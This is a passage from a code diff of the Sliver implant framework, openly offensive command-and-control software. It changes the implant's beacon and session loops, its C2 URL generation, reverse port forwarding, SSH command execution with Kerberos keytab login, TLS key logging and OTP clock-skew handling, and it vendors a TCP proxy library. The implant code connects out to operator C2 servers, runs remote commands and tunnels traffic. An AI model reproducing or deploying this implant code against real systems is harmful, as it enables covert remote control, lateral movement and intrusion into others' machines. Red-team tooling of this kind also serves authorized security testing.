// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
// HostPort - Returns the host and port of the TCP proxy
func (p *ChannelProxy) HostPort() (string, uint32) {
defaultPort := uint32(8080)
host, rawPort, err := net.SplitHostPort(p.RemoteAddr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse addr %s", p.RemoteAddr)
// {{end}}
return "", defaultPort
}
portNumber, err := strconv.Atoi(rawPort)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse number from %s", rawPort)
// {{end}}
return "", defaultPort
}
port := uint32(portNumber)
if port < 1 || 65535 < port {
// {{if .Config.Debug}}
log.Printf("Invalid port number %d", port)
// {{end}}
return "", defaultPort
}
return host, port
}
// Port - Returns the TCP port of the proxy
func (p *ChannelProxy) Port() uint32 {
_, port := p.HostPort()
return port
}
// Host - Returns the host (i.e., interface) of the TCP proxy
func (p *ChannelProxy) Host() string {
host, _ := p.HostPort()
return host
}
func (p *ChannelProxy) dialTimeout() time.Duration {
if p.DialTimeout > 0 {
return p.DialTimeout
}
return 30 * time.Second
}
func nextPortfwdID() int {
portfwdID++
return portfwdID
}
// NewTunnelID - New 64-bit identifier
func NewTunnelID() uint64 {
randBuf := make([]byte, 8)
rand.Read(randBuf)
return binary.LittleEndian.Uint64(randBuf)
}
+71
View File
@@ -0,0 +1,71 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
host string
port uint32
protocol int
tunnelID uint64
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
createReverse := false
rportfwdInfo := &sliverpb.RPortfwd{}
if tw.tun.WriteSequence() == 0 {
createReverse = true
rportfwdInfo.Host = tw.host
rportfwdInfo.Port = tw.port
rportfwdInfo.Protocol = int32(tw.protocol)
rportfwdInfo.TunnelID = tw.tunnelID
}
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
CreateReverse: createReverse,
Rportfwd: rportfwdInfo,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
+18
View File
@@ -1,5 +1,23 @@
package service
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"time"
+24 -3
View File
@@ -3,15 +3,21 @@ package ssh
import (
"bytes"
"fmt"
"io/ioutil"
// {{if .Config.Debug}}
"log"
// {{end}}
"net"
"os"
"github.com/yiya1989/sshkrb5/krb5forssh"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/agent"
)
func getClient(host string, port uint16, username string, password string, privKey []byte) (*ssh.Client, error) {
func getClient(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string) (*ssh.Client, error) {
var authMethods []ssh.AuthMethod
if password != "" {
// Try password auth first
@@ -23,6 +29,17 @@ func getClient(host string, port uint16, username string, password string, privK
return nil, err
}
authMethods = append(authMethods, ssh.PublicKeys(signer))
} else if krb5conf != "" && keytab != nil && realm != "" {
// Then try kerberos auth
krb5ConfData, err := ioutil.ReadFile(krb5conf)
if err != nil {
return nil, err
}
sshGSSAPIClient, err := krb5forssh.NewKrb5InitiatorClient(string(krb5ConfData), username, realm, keytab)
if err != nil {
return nil, err
}
authMethods = append(authMethods, ssh.GSSAPIWithMICAuthMethod(&sshGSSAPIClient, host))
} else {
// Use ssh-agent if neither password nor private key has been provided
// ssh-agent(1) provides a UNIX socket at $SSH_AUTH_SOCK.
@@ -35,6 +52,10 @@ func getClient(host string, port uint16, username string, password string, privK
authMethods = append(authMethods, ssh.PublicKeysCallback(agentClient.Signers))
}
// {{if .Config.Debug}}
log.Printf("Auth methods: %+v\n", authMethods)
// {{end}}
config := &ssh.ClientConfig{
User: username,
Auth: authMethods,
@@ -53,12 +74,12 @@ func getClient(host string, port uint16, username string, password string, privK
}
// RunSSHCommand - SSH to a host and execute a command
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, command string) (string, string, error) {
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string, command string) (string, string, error) {
var (
stdout bytes.Buffer
stderr bytes.Buffer
)
sshc, err := getClient(host, port, username, password, privKey)
sshc, err := getClient(host, port, username, password, privKey, krb5conf, keytab, realm)
if err != nil {
return "", "", err
}
+15 -15
View File
@@ -51,6 +51,7 @@ import (
consts "github.com/bishopfox/sliver/implant/sliver/constants"
"github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
"github.com/bishopfox/sliver/implant/sliver/locale"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
@@ -67,14 +68,7 @@ import (
)
var (
InstanceID string
c2Servers = []string{
// {{range $index, $value := .Config.C2}}
"{{$value}}", // {{$index}}
// {{end}}
}
InstanceID string
connectionErrors = 0
)
@@ -202,7 +196,7 @@ func beaconStartup() {
defer func() {
abort <- struct{}{}
}()
beacons := transports.StartBeaconLoop(c2Servers, abort)
beacons := transports.StartBeaconLoop(abort)
for beacon := range beacons {
// {{if .Config.Debug}}
log.Printf("Next beacon = %v", beacon)
@@ -234,7 +228,7 @@ func sessionStartup() {
defer func() {
abort <- struct{}{}
}()
connections := transports.StartConnectionLoop(c2Servers, abort)
connections := transports.StartConnectionLoop(abort)
for connection := range connections {
if connection != nil {
err := sessionMainLoop(connection)
@@ -300,8 +294,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
Register: register,
NextCheckin: int64(beacon.Duration().Seconds()),
}))
beacon.Close()
time.Sleep(time.Second)
beacon.Close()
// BeaconMain - Is executed in it's own goroutine as the function will block
// until all tasks complete (in success or failure), if a task handler blocks
@@ -353,6 +347,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{if .Config.Debug}}
log.Printf("[beacon] closing ...")
// {{end}}
time.Sleep(time.Second)
beacon.Close()
}()
// {{if .Config.Debug}}
@@ -480,9 +475,7 @@ func openSessionHandler(data []byte) {
log.Printf("[beacon] failed to parse open session msg: %s", err)
// {{end}}
}
// {{if .Config.Debug}}
log.Printf("[beacon] open session -> %v", openSession.C2S)
// {{end}}
if openSession.Delay != 0 {
// {{if .Config.Debug}}
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
@@ -492,7 +485,7 @@ func openSessionHandler(data []byte) {
go func() {
abort := make(chan struct{})
connections := transports.StartConnectionLoop(openSession.C2S, abort)
connections := transports.StartConnectionLoop(abort)
defer func() { abort <- struct{}{} }()
connectionAttempts := 0
for connection := range connections {
@@ -548,6 +541,7 @@ func sessionMainLoop(connection *transports.Connection) error {
tunHandlers := handlers.GetTunnelHandlers()
sysHandlers := handlers.GetSystemHandlers()
specialHandlers := handlers.GetSpecialHandlers()
rportfwdHandlers := handlers.GetRportFwdHandlers()
for envelope := range connection.Recv {
if handler, ok := specialHandlers[envelope.Type]; ok {
@@ -560,6 +554,11 @@ func sessionMainLoop(connection *transports.Connection) error {
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := sysHandlers[envelope.Type]; ok {
// Beware, here be dragons.
// This is required for the specific case of token impersonation:
@@ -684,5 +683,6 @@ func registerSliver() *sliverpb.Register {
ReconnectInterval: int64(transports.GetReconnectInterval()),
ConfigID: "{{ .Config.ID }}",
PeerID: pivots.MyPeerID,
Locale: locale.GetLocale(),
}
}
+21 -2
View File
@@ -1,12 +1,31 @@
//go:build windows
// +build windows
package spoof
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"golang.org/x/sys/windows"
"os/exec"
"syscall"
"golang.org/x/sys/windows"
// {{if .Config.Debug}}
"log"
// {{end}}
+475
View File
@@ -0,0 +1,475 @@
package tcpproxy
// Copyright 2017 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Package tcpproxy lets users build TCP proxies, optionally making
// routing decisions based on HTTP/1 Host headers and the SNI hostname
// in TLS connections.
//
// Typical usage:
//
// var p tcpproxy.Proxy
// p.AddHTTPHostRoute(":80", "foo.com", tcpproxy.To("10.0.0.1:8081"))
// p.AddHTTPHostRoute(":80", "bar.com", tcpproxy.To("10.0.0.2:8082"))
// p.AddRoute(":80", tcpproxy.To("10.0.0.1:8081")) // fallback
// p.AddSNIRoute(":443", "foo.com", tcpproxy.To("10.0.0.1:4431"))
// p.AddSNIRoute(":443", "bar.com", tcpproxy.To("10.0.0.2:4432"))
// p.AddRoute(":443", tcpproxy.To("10.0.0.1:4431")) // fallback
// log.Fatal(p.Run())
//
// Calling Run (or Start) on a proxy also starts all the necessary
// listeners.
//
// For each accepted connection, the rules for that ipPort are
// matched, in order. If one matches (currently HTTP Host, SNI, or
// always), then the connection is handed to the target.
//
// The two predefined Target implementations are:
//
// 1) DialProxy, proxying to another address (use the To func to return a
// DialProxy value),
//
// 2) TargetListener, making the matched connection available via a
// net.Listener.Accept call.
//
// But Target is an interface, so you can also write your own.
//
// Note that tcpproxy does not do any TLS encryption or decryption. It
// only (via DialProxy) copies bytes around. The SNI hostname in the TLS
// header is unencrypted, for better or worse.
//
// This package makes no API stability promises. If you depend on it,
// vendor it.
import (
"bufio"
"context"
"errors"
"fmt"
"io"
"log"
"net"
"time"
)
// Proxy is a proxy. Its zero value is a valid proxy that does
// nothing. Call methods to add routes before calling Start or Run.
//
// The order that routes are added in matters; each is matched in the order
// registered.
type Proxy struct {
configs map[string]*config // ip:port => config
lns []net.Listener
donec chan struct{} // closed before err
err error // any error from listening
// ListenFunc optionally specifies an alternate listen
// function. If nil, net.Dial is used.
// The provided net is always "tcp".
ListenFunc func(net, laddr string) (net.Listener, error)
}
// Matcher reports whether hostname matches the Matcher's criteria.
type Matcher func(ctx context.Context, hostname string) bool
// equals is a trivial Matcher that implements string equality.
func equals(want string) Matcher {
return func(_ context.Context, got string) bool {
return want == got
}
}
// config contains the proxying state for one listener.
type config struct {
routes []route
acmeTargets []Target // accumulates targets that should be probed for acme.
stopACME bool // if true, AddSNIRoute doesn't add targets to acmeTargets.
}
// A route matches a connection to a target.
type route interface {
// match examines the initial bytes of a connection, looking for a
// match. If a match is found, match returns a non-nil Target to
// which the stream should be proxied. match returns nil if the
// connection doesn't match.
//
// match must not consume bytes from the given bufio.Reader, it
// can only Peek.
//
// If an sni or host header was parsed successfully, that will be
// returned as the second parameter.
match(*bufio.Reader) (Target, string)
}
func (p *Proxy) netListen() func(net, laddr string) (net.Listener, error) {
if p.ListenFunc != nil {
return p.ListenFunc
}
return net.Listen
}
func (p *Proxy) configFor(ipPort string) *config {
if p.configs == nil {
p.configs = make(map[string]*config)
}
if p.configs[ipPort] == nil {
p.configs[ipPort] = &config{}
}
return p.configs[ipPort]
}
func (p *Proxy) addRoute(ipPort string, r route) {
cfg := p.configFor(ipPort)
cfg.routes = append(cfg.routes, r)
}
// AddRoute appends an always-matching route to the ipPort listener,
// directing any connection to dest.
//
// This is generally used as either the only rule (for simple TCP
// proxies), or as the final fallback rule for an ipPort.
//
// The ipPort is any valid net.Listen TCP address.
func (p *Proxy) AddRoute(ipPort string, dest Target) {
p.addRoute(ipPort, fixedTarget{dest})
}
type fixedTarget struct {
t Target
}
func (m fixedTarget) match(*bufio.Reader) (Target, string) { return m.t, "" }
// Run is calls Start, and then Wait.
//
// It blocks until there's an error. The return value is always
// non-nil.
func (p *Proxy) Run() error {
if err := p.Start(); err != nil {
return err
}
return p.Wait()
}
// Wait waits for the Proxy to finish running. Currently this can only
// happen if a Listener is closed, or Close is called on the proxy.
//
// It is only valid to call Wait after a successful call to Start.
func (p *Proxy) Wait() error {
<-p.donec
return p.err
}
// Close closes all the proxy's self-opened listeners.
func (p *Proxy) Close() error {
for _, c := range p.lns {
c.Close()
}
return nil
}
// Start creates a TCP listener for each unique ipPort from the
// previously created routes and starts the proxy. It returns any
// error from starting listeners.
//
// If it returns a non-nil error, any successfully opened listeners
// are closed.
func (p *Proxy) Start() error {
if p.donec != nil {
return errors.New("already started")
}
p.donec = make(chan struct{})
errc := make(chan error, len(p.configs))
p.lns = make([]net.Listener, 0, len(p.configs))
for ipPort, config := range p.configs {
ln, err := p.netListen()("tcp", ipPort)
if err != nil {
p.Close()
return err
}
p.lns = append(p.lns, ln)
go p.serveListener(errc, ln, config.routes)
}
go p.awaitFirstError(errc)
return nil
}
func (p *Proxy) awaitFirstError(errc <-chan error) {
p.err = <-errc
close(p.donec)
}
func (p *Proxy) serveListener(ret chan<- error, ln net.Listener, routes []route) {
for {
c, err := ln.Accept()
if err != nil {
ret <- err
return
}
go p.serveConn(c, routes)
}
}
// serveConn runs in its own goroutine and matches c against routes.
// It returns whether it matched purely for testing.
func (p *Proxy) serveConn(c net.Conn, routes []route) bool {
br := bufio.NewReader(c)
for _, route := range routes {
if target, hostName := route.match(br); target != nil {
if n := br.Buffered(); n > 0 {
peeked, _ := br.Peek(br.Buffered())
c = &Conn{
HostName: hostName,
Peeked: peeked,
Conn: c,
}
}
target.HandleConn(c)
return true
}
}
// TODO: hook for this?
log.Printf("tcpproxy: no routes matched conn %v/%v; closing", c.RemoteAddr().String(), c.LocalAddr().String())
c.Close()
return false
}
// Conn is an incoming connection that has had some bytes read from it
// to determine how to route the connection. The Read method stitches
// the peeked bytes and unread bytes back together.
type Conn struct {
// HostName is the hostname field that was sent to the request router.
// In the case of TLS, this is the SNI header, in the case of HTTPHost
// route, it will be the host header. In the case of a fixed
// route, i.e. those created with AddRoute(), this will always be
// empty. This can be useful in the case where further routing decisions
// need to be made in the Target impementation.
HostName string
// Peeked are the bytes that have been read from Conn for the
// purposes of route matching, but have not yet been consumed
// by Read calls. It set to nil by Read when fully consumed.
Peeked []byte
// Conn is the underlying connection.
// It can be type asserted against *net.TCPConn or other types
// as needed. It should not be read from directly unless
// Peeked is nil.
net.Conn
}
func (c *Conn) Read(p []byte) (n int, err error) {
if len(c.Peeked) > 0 {
n = copy(p, c.Peeked)
c.Peeked = c.Peeked[n:]
if len(c.Peeked) == 0 {
c.Peeked = nil
}
return n, nil
}
return c.Conn.Read(p)
}
// Target is what an incoming matched connection is sent to.
type Target interface {
// HandleConn is called when an incoming connection is
// matched. After the call to HandleConn, the tcpproxy
// package never touches the conn again. Implementations are
// responsible for closing the connection when needed.
//
// The concrete type of conn will be of type *Conn if any
// bytes have been consumed for the purposes of route
// matching.
HandleConn(net.Conn)
}
// To is shorthand way of writing &tlsproxy.DialProxy{Addr: addr}.
func To(addr string) *DialProxy {
return &DialProxy{Addr: addr}
}
// DialProxy implements Target by dialing a new connection to Addr
// and then proxying data back and forth.
//
// The To func is a shorthand way of creating a DialProxy.
type DialProxy struct {
// Addr is the TCP address to proxy to.
Addr string
// KeepAlivePeriod sets the period between TCP keep alives.
// If zero, a default is used. To disable, use a negative number.
// The keep-alive is used for both the client connection and
KeepAlivePeriod time.Duration
// DialTimeout optionally specifies a dial timeout.
// If zero, a default is used.
// If negative, the timeout is disabled.
DialTimeout time.Duration
// DialContext optionally specifies an alternate dial function
// for TCP targets. If nil, the standard
// net.Dialer.DialContext method is used.
DialContext func(ctx context.Context, network, address string) (net.Conn, error)
// OnDialError optionally specifies an alternate way to handle errors dialing Addr.
// If nil, the error is logged and src is closed.
// If non-nil, src is not closed automatically.
OnDialError func(src net.Conn, dstDialErr error)
// ProxyProtocolVersion optionally specifies the version of
// HAProxy's PROXY protocol to use. The PROXY protocol provides
// connection metadata to the DialProxy target, via a header
// inserted ahead of the client's traffic. The DialProxy target
// must explicitly support and expect the PROXY header; there is
// no graceful downgrade.
// If zero, no PROXY header is sent. Currently, version 1 is supported.
ProxyProtocolVersion int
}
// UnderlyingConn returns c.Conn if c of type *Conn,
// otherwise it returns c.
func UnderlyingConn(c net.Conn) net.Conn {
if wrap, ok := c.(*Conn); ok {
return wrap.Conn
}
return c
}
func goCloseConn(c net.Conn) { go c.Close() }
// HandleConn implements the Target interface.
func (dp *DialProxy) HandleConn(src net.Conn) {
ctx := context.Background()
var cancel context.CancelFunc
if dp.DialTimeout >= 0 {
ctx, cancel = context.WithTimeout(ctx, dp.dialTimeout())
}
dst, err := dp.dialContext()(ctx, "tcp", dp.Addr)
if cancel != nil {
cancel()
}
if err != nil {
dp.onDialError()(src, err)
return
}
defer goCloseConn(dst)
if err = dp.sendProxyHeader(dst, src); err != nil {
dp.onDialError()(src, err)
return
}
defer goCloseConn(src)
if ka := dp.keepAlivePeriod(); ka > 0 {
if c, ok := UnderlyingConn(src).(*net.TCPConn); ok {
c.SetKeepAlive(true)
c.SetKeepAlivePeriod(ka)
}
if c, ok := dst.(*net.TCPConn); ok {
c.SetKeepAlive(true)
c.SetKeepAlivePeriod(ka)
}
}
errc := make(chan error, 1)
go proxyCopy(errc, src, dst)
go proxyCopy(errc, dst, src)
<-errc
}
func (dp *DialProxy) sendProxyHeader(w io.Writer, src net.Conn) error {
switch dp.ProxyProtocolVersion {
case 0:
return nil
case 1:
var srcAddr, dstAddr *net.TCPAddr
if a, ok := src.RemoteAddr().(*net.TCPAddr); ok {
srcAddr = a
}
if a, ok := src.LocalAddr().(*net.TCPAddr); ok {
dstAddr = a
}
if srcAddr == nil || dstAddr == nil {
_, err := io.WriteString(w, "PROXY UNKNOWN\r\n")
return err
}
family := "TCP4"
if srcAddr.IP.To4() == nil {
family = "TCP6"
}
_, err := fmt.Fprintf(w, "PROXY %s %s %d %s %d\r\n", family, srcAddr.IP, srcAddr.Port, dstAddr.IP, dstAddr.Port)
return err
default:
return fmt.Errorf("PROXY protocol version %d not supported", dp.ProxyProtocolVersion)
}
}
// proxyCopy is the function that copies bytes around.
// It's a named function instead of a func literal so users get
// named goroutines in debug goroutine stack dumps.
func proxyCopy(errc chan<- error, dst, src net.Conn) {
// Before we unwrap src and/or dst, copy any buffered data.
if wc, ok := src.(*Conn); ok && len(wc.Peeked) > 0 {
if _, err := dst.Write(wc.Peeked); err != nil {
errc <- err
return
}
wc.Peeked = nil
}
// Unwrap the src and dst from *Conn to *net.TCPConn so Go
// 1.11's splice optimization kicks in.
src = UnderlyingConn(src)
dst = UnderlyingConn(dst)
_, err := io.Copy(dst, src)
errc <- err
}
func (dp *DialProxy) keepAlivePeriod() time.Duration {
if dp.KeepAlivePeriod != 0 {
return dp.KeepAlivePeriod
}
return time.Minute
}
func (dp *DialProxy) dialTimeout() time.Duration {
if dp.DialTimeout > 0 {
return dp.DialTimeout
}
return 10 * time.Second
}
var defaultDialer = new(net.Dialer)
func (dp *DialProxy) dialContext() func(ctx context.Context, network, address string) (net.Conn, error) {
if dp.DialContext != nil {
return dp.DialContext
}
return defaultDialer.DialContext
}
func (dp *DialProxy) onDialError() func(src net.Conn, dstDialErr error) {
if dp.OnDialError != nil {
return dp.OnDialError
}
return func(src net.Conn, dstDialErr error) {
log.Printf("tcpproxy: for incoming conn %v, error dialing %q: %v", src.RemoteAddr().String(), dp.Addr, dstDialErr)
src.Close()
}
}
+9 -7
View File
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
}
// StartBeaconLoop - Starts the beacon loop generator
func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
// {{if .Config.Debug}}
log.Printf("Starting beacon loop ...")
// {{end}}
@@ -122,7 +122,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
nextBeacon := make(chan *Beacon)
innerAbort := make(chan struct{})
c2Generator := C2Generator(c2s, innerAbort)
c2Generator := C2Generator(innerAbort)
go func() {
defer close(nextBeacon)
@@ -211,11 +211,13 @@ func mtlsBeacon(uri *url.URL) *Beacon {
return mtls.WriteEnvelope(conn, envelope)
},
Close: func() error {
err = conn.Close()
if err != nil {
return err
if conn != nil {
err = conn.Close()
if err != nil {
return err
}
conn = nil
}
conn = nil
return nil
},
Cleanup: func() error {
@@ -341,7 +343,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
ActiveC2: uri.String(),
Init: func() error {
opts := dnsclient.ParseDNSOptions(uri)
client, err = dnsclient.DNSStartSession(uri.Host, opts)
client, err = dnsclient.DNSStartSession(uri.Hostname(), opts)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] dns connection error %s", err)
+24 -6
View File
@@ -1,5 +1,23 @@
package transports
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net/url"
"sync"
@@ -14,7 +32,7 @@ type Connection struct {
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
tunnels map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
@@ -53,7 +71,7 @@ func (c *Connection) Cleanup() {
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
return c.tunnels[ID]
}
// AddTunnel - Add tunnel to mapping
@@ -61,7 +79,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
c.tunnels[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
@@ -69,17 +87,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
delete(c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range *c.tunnels {
for id, tunnel := range c.tunnels {
tunnel.Close()
delete(*c.tunnels, id)
delete(c.tunnels, id)
}
}
+11 -2
View File
@@ -28,6 +28,7 @@ import (
// {{if .Config.Debug}}
"log"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/proxy"
@@ -36,12 +37,20 @@ import (
// GoHTTPDriver - Pure Go HTTP driver
func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
var transport *http.Transport
tlsConfig := &tls.Config{
InsecureSkipVerify: true, // We don't care about the HTTP(S) layer certs
}
// {{if .Config.Debug}}
if cryptography.TLSKeyLogger != nil {
tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
}
// {{end}}
if !secure {
transport = &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
TLSClientConfig: tlsConfig,
}
} else {
transport = &http.Transport{
@@ -50,7 +59,7 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
Timeout: opts.NetTimeout,
}).Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
TLSClientConfig: tlsConfig,
}
}
client := &http.Client{
@@ -58,6 +58,7 @@ const (
var (
ErrClosed = errors.New("http session closed")
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
TimeDelta time.Duration = 0
)
// HTTPOptions - c2 specific configuration options
@@ -334,7 +335,8 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
uri := s.startSessionURL()
s.NonceQueryArgument(uri, nonce)
otpCode := cryptography.GetOTPCode()
timestamp := time.Now().UTC().Add(TimeDelta)
otpCode := cryptography.GetExactOTPCode(timestamp)
s.OTPQueryArgument(uri, otpCode)
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
// {{if .Config.Debug}}
@@ -349,6 +351,15 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
return err
}
if resp.StatusCode != http.StatusOK {
serverDateHeader := resp.Header.Get("Date")
if serverDateHeader != "" {
// If the request failed and there is a Date header, find the time difference and save it for the next request
curTime := time.Now().UTC()
serverTime, err := time.Parse(time.RFC1123, serverDateHeader)
if err == nil {
TimeDelta = serverTime.UTC().Sub(curTime)
}
}
// {{if .Config.Debug}}
log.Printf("[http] non-200 response (%d): %v", resp.StatusCode, resp)
// {{end}}
+5
View File
@@ -167,6 +167,11 @@ func getTLSConfig() *tls.Config {
return cryptography.RootOnlyVerifyCertificate(caCertPEM, rawCerts, verifiedChains)
},
}
// {{if .Config.Debug}}
if cryptography.TLSKeyLogger != nil {
tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
}
// {{end}}
return tlsConfig
}
+7 -7
View File
@@ -80,7 +80,7 @@ type Start func() error
type Stop func() error
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
// {{if .Config.Debug}}
log.Printf("Starting interactive session connection loop ...")
@@ -88,7 +88,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
nextConnection := make(chan *Connection)
innerAbort := make(chan struct{})
c2Generator := C2Generator(c2s, innerAbort)
c2Generator := C2Generator(innerAbort)
go func() {
var connection *Connection
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: false,
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
+17 -9
View File
@@ -36,10 +36,18 @@ const (
)
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
// {{if .Config.Debug}}
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
